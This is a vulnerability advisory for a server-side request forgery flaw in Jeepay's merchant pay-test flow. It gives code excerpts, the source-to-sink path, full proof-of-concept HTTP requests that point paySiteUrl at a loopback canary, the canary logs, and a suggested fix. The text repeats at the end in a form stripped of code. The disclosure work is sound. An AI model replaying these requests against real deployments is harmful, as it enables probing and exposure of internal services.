Summary
Jeepay contains a non-blind SSRF vulnerability in the merchant pay-test flow, where the manager-controlled paySiteUrl from PUT /api/sysConfigs/applicationConfig is passed to JeepayClient and used as the outbound payment endpoint, allowing privileged users to make the merchant service access internal HTTP resources and reflect upstream responses through the pay-test API.
Root Cause
The source is the manager application-configuration endpoint. It treats the request body as a generic map and forwards every supplied key/value pair to the configuration service:
// jeepay-manager/src/main/java/com/jeequan/jeepay/mgr/ctrl/config/SysConfigController.java:92-115
public ApiRes update(@PathVariable("groupKey") String groupKey) {
JSONObject paramJSON = getReqParamJSON();
Map<String, String> updateMap = JSONObject.toJavaObject(paramJSON, Map.class);
int update = sysConfigService.updateByConfigKey(updateMap);
if(update <= 0){
return ApiRes.fail(ApiCodeEnum.SYSTEM_ERROR, "更新失败");
}
SpringBeansUtil.getBean(SysConfigController.class).updateSysConfigMQ(groupKey);
return ApiRes.ok();
}
There is no separate destination policy for the paySiteUrl key.
The merchant pay-test endpoint later reads that value and uses it to construct the client:
// jeepay-merchant/src/main/java/com/jeequan/jeepay/mch/ctrl/paytest/PaytestController.java:150-172
DBApplicationConfig dbApplicationConfig = sysConfigService.getDBApplicationConfig();
JeepayClient jeepayClient = new JeepayClient(
dbApplicationConfig.getPaySiteUrl(), mchApp.getAppSecret());
PayOrderCreateResponse response = jeepayClient.execute(request);
The source-to-sink path is:
PUT /api/sysConfigs/applicationConfig
-> generic updateMap.paySiteUrl
-> persisted DBApplicationConfig.paySiteUrl
-> PaytestController
-> JeepayClient(baseUrl)
-> merchant service POST /api/pay/unifiedOrder to baseUrl
-> upstream response parsed by the pay-test API
POC
- The Canary listened on
127.0.0.1:28081 inside the merchant container network namespace,
Canary A: store the configuration
Request
PUT /api/sysConfigs/applicationConfig HTTP/1.1
Host: localhost:37893
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 61
{"paySiteUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-003-A"}
Response
HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:52 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 26
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY
{"msg":"SUCCESS","code":0}
Canary B: store the configuration
Request
PUT /api/sysConfigs/applicationConfig HTTP/1.1
Host: localhost:37893
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 61
{"paySiteUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-003-B"}
Response
HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:54 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 26
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
X-Frame-Options: DENY
{"msg":"SUCCESS","code":0}
Canary A: trigger the merchant pay-test flow
Request
POST /api/paytest/payOrders HTTP/1.1
Host: localhost:37894
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 159
{"appId":"APPFC100001","mchOrderNo":"RERUN-SSRF003-A-202608051750","wayCode":"ALI_QR","amount":0.01,"divisionMode":0,"orderTitle":"paySiteUrl SSRF validation"}
Response
HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:54 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
9a
{"code":9999,"msg":"Invalid response object from API: SSRF_POC_OK_SSRF-003-A\nauth:/system/config/base-path/verification\n. (HTTP response code was 200)"}
0
Canary B: trigger the merchant pay-test flow
Request
POST /api/paytest/payOrders HTTP/1.1
Host: localhost:37894
User-Agent: curl/7.81.0
Accept: */*
iToken: <redacted>
Content-Type: application/json
Content-Length: 159
{"appId":"APPFC100001","mchOrderNo":"RERUN-SSRF003-B-202608051751","wayCode":"ALI_QR","amount":0.01,"divisionMode":0,"orderTitle":"paySiteUrl SSRF validation"}
Response
HTTP/1.1 200
Server: nginx/1.27.5
Date: Wed, 05 Aug 2026 09:38:56 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
9a
{"code":9999,"msg":"Invalid response object from API: SSRF_POC_OK_SSRF-003-B\nauth:/system/config/base-path/verification\n. (HTTP response code was 200)"}
0
The Canary recorded the actual outbound requests from source: 127.0.0.1:
2026-08-05T09:38:54.429500+00:00
POST /poc/jeepay_SSRF-003-A/api/pay/unifiedOrder
source: 127.0.0.1
body: {"amount":1,"mchOrderNo":"RERUN-SSRF003-A-202608051750","subject":"paySiteUrl SSRF validation[MFC100001商户联调]","wayCode":"ALI_QR","sign":"13F896AD6E699CC3023085259DD0AAE5","reqTime":"1785922734","body":"paySiteUrl SSRF validation[MFC100001商户联调]","version":"1.0","channelExtra":"{}","appId":"APPFC100001","clientIp":"172.16.69.1","notifyUrl":"http://172.16.0.1:37895/api/anon/paytestNotify/payOrder","signType":"MD5","currency":"CNY","mchNo":"MFC100001","divisionMode":0}
2026-08-05T09:38:56.523726+00:00
POST /poc/jeepay_SSRF-003-B/api/pay/unifiedOrder
source: 127.0.0.1
body: {"amount":1,"mchOrderNo":"RERUN-SSRF003-B-202608051751","subject":"paySiteUrl SSRF validation[MFC100001商户联调]","wayCode":"ALI_QR","sign":"1F612B75C24BB771C1592148E3BC20C8","reqTime":"1785922736","body":"paySiteUrl SSRF validation[MFC100001商户联调]","version":"1.0","channelExtra":"{}","appId":"APPFC100001","clientIp":"172.16.69.1","notifyUrl":"http://172.16.0.1:37895/api/anon/paytestNotify/payOrder","signType":"MD5","currency":"CNY","mchNo":"MFC100001","divisionMode":0}
Impact
An operator who can edit the application configuration can make every merchant pay-test request originate from the merchant service toward an attacker-selected internal HTTP destination. The reflected response can expose internal content directly to the caller, enabling internal endpoint discovery, metadata/configuration exposure, and attacks against services trusted by the merchant network.
Suggested Fix
Treat paySiteUrl as a server-controlled deployment setting: enforce an explicit HTTPS origin allowlist and reject private, loopback, link-local, multicast, and metadata destinations after DNS resolution and on connection. Disable or strictly constrain redirects and never return arbitrary upstream response bodies to the caller.
Summary
Jeepay contains a non-blind SSRF vulnerability in the merchant pay-test flow, where the manager-controlled
paySiteUrlfromPUT /api/sysConfigs/applicationConfigis passed toJeepayClientand used as the outbound payment endpoint, allowing privileged users to make the merchant service access internal HTTP resources and reflect upstream responses through the pay-test API.Root Cause
The source is the manager application-configuration endpoint. It treats the request body as a generic map and forwards every supplied key/value pair to the configuration service:
There is no separate destination policy for the
paySiteUrlkey.The merchant pay-test endpoint later reads that value and uses it to construct the client:
The source-to-sink path is:
POC
127.0.0.1:28081inside the merchant container network namespace,Canary A: store the configuration
Request
Response
Canary B: store the configuration
Request
Response
Canary A: trigger the merchant pay-test flow
Request
Response
Canary B: trigger the merchant pay-test flow
Request
Response
The Canary recorded the actual outbound requests from
source: 127.0.0.1:Impact
An operator who can edit the application configuration can make every merchant pay-test request originate from the merchant service toward an attacker-selected internal HTTP destination. The reflected response can expose internal content directly to the caller, enabling internal endpoint discovery, metadata/configuration exposure, and attacks against services trusted by the merchant network.
Suggested Fix
Treat
paySiteUrlas a server-controlled deployment setting: enforce an explicit HTTPS origin allowlist and reject private, loopback, link-local, multicast, and metadata destinations after DNS resolution and on connection. Disable or strictly constrain redirects and never return arbitrary upstream response bodies to the caller.